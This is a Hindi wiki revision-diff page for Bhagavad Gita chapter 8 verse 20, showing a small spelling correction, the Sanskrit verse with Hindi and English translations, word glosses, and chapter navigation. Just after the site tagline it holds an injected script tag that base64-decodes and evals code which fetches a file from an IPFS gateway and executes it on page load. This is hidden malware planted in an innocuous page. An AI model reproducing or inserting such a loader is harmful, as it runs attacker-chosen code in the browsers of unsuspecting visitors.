"गीता 8:20" के अवतरणों में अंतर

ब्रज डिस्कवरी, एक मुक्त ज्ञानकोष से<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
नेविगेशन पर जाएँ खोज पर जाएँ
छो
पंक्ति ९: पंक्ति ९:
 
'''प्रसंग-'''
 
'''प्रसंग-'''
 
----
 
----
[[ब्रह्मा]] की रात्रि के आरम्भ में जिस अव्यक्त् में समस्त भूत लीन होते हैं और दिन का आरम्भ होते ही जिससे उत्पत्र होते हैं, वही अव्यक्त सर्वश्रेष्ठ है या उससे बढ़कर कोई दूसरा और है इस जिज्ञासा पर कहते हैं-  
+
[[ब्रह्मा]] की रात्रि के आरम्भ में जिस अव्यक्त् में समस्त भूत लीन होते हैं और दिन का आरम्भ होते ही जिससे उत्पन्न होते हैं, वही अव्यक्त सर्वश्रेष्ठ है या उससे बढ़कर कोई दूसरा और है इस जिज्ञासा पर कहते हैं-  
 
----
 
----
 
<div align="center">
 
<div align="center">
पंक्ति ६०: पंक्ति ६०:
 
</table>
 
</table>
 
[[category:गीता]]
 
[[category:गीता]]
 +
__INDEX__

०५:१९, १९ नवम्बर २००९ का अवतरण


गीता अध्याय-8 श्लोक-20 / Gita Chapter-8 Verse-20

प्रसंग-


ब्रह्मा की रात्रि के आरम्भ में जिस अव्यक्त् में समस्त भूत लीन होते हैं और दिन का आरम्भ होते ही जिससे उत्पन्न होते हैं, वही अव्यक्त सर्वश्रेष्ठ है या उससे बढ़कर कोई दूसरा और है इस जिज्ञासा पर कहते हैं-


परस्तस्मात्तु भावोऽन्यो-
ऽव्यक्तोऽव्यक्तात्सनातन: ।
य: स सर्वेषु भूतेषु
नश्यत्सु न विनश्यति ।।20।।



उस अव्यक्त से भी अति परे दूसरा अर्थात विलक्षण जो सनातन अव्यक्त भाव है, वह परम दिव्य पुरूष सब भूतों के नष्ट होने पर भी नष्ट नहीं होता ।।20।।

Far beyond even this unmanifest, there is yet another unmanifest existence, that supreme divine person, who does not perish even though all beings perish. (20)


तु = परन्तु ; तस्मात् = उस ; अव्यक्तात् = उव्यक्त से भी ; य: = जो ; सनातन: = सनातन ; अव्यक्त: = अव्यक्त ; भाव: = भाव है ; स: = वह सच्चिदानन्दघन पूर्णब्रह्म परमात्मा ; पर: = अति परे ; अन्य: = दूसरा अर्थात् विलक्षण ; सर्वेषु = सब ; भूतेषु = भूतों के ; नश्यत्सु = नष्ट होने पर भी ; न = नहीं ; विनश्यति = नष्ट होता है



अध्याय आठ श्लोक संख्या
Verses- Chapter-8

1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12, 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | 23 | 24 | 25 | 26 | 27 | 28

<sidebar>

  • सुस्वागतम्
    • mainpage|मुखपृष्ठ
    • ब्लॉग-चिट्ठा-चौपाल|ब्लॉग-चौपाल
      विशेष:Contact|संपर्क
    • समस्त श्रेणियाँ|समस्त श्रेणियाँ
  • SEARCH
  • LANGUAGES

__NORICHEDITOR__

  • गीता अध्याय-Gita Chapters
    • गीता 1:1|अध्याय [1] Chapter
    • गीता 2:1|अध्याय [2] Chapter
    • गीता 3:1|अध्याय [3] Chapter
    • गीता 4:1|अध्याय [4] Chapter
    • गीता 5:1|अध्याय [5] Chapter
    • गीता 6:1|अध्याय [6] Chapter
    • गीता 7:1|अध्याय [7] Chapter
    • गीता 8:1|अध्याय [8] Chapter
    • गीता 9:1|अध्याय [9] Chapter
    • गीता 10:1|अध्याय [10] Chapter
    • गीता 11:1|अध्याय [11] Chapter
    • गीता 12:1|अध्याय [12] Chapter
    • गीता 13:1|अध्याय [13] Chapter
    • गीता 14:1|अध्याय [14] Chapter
    • गीता 15:1|अध्याय [15] Chapter
    • गीता 16:1|अध्याय [16] Chapter
    • गीता 17:1|अध्याय [17] Chapter
    • गीता 18:1|अध्याय [18] Chapter

</sidebar>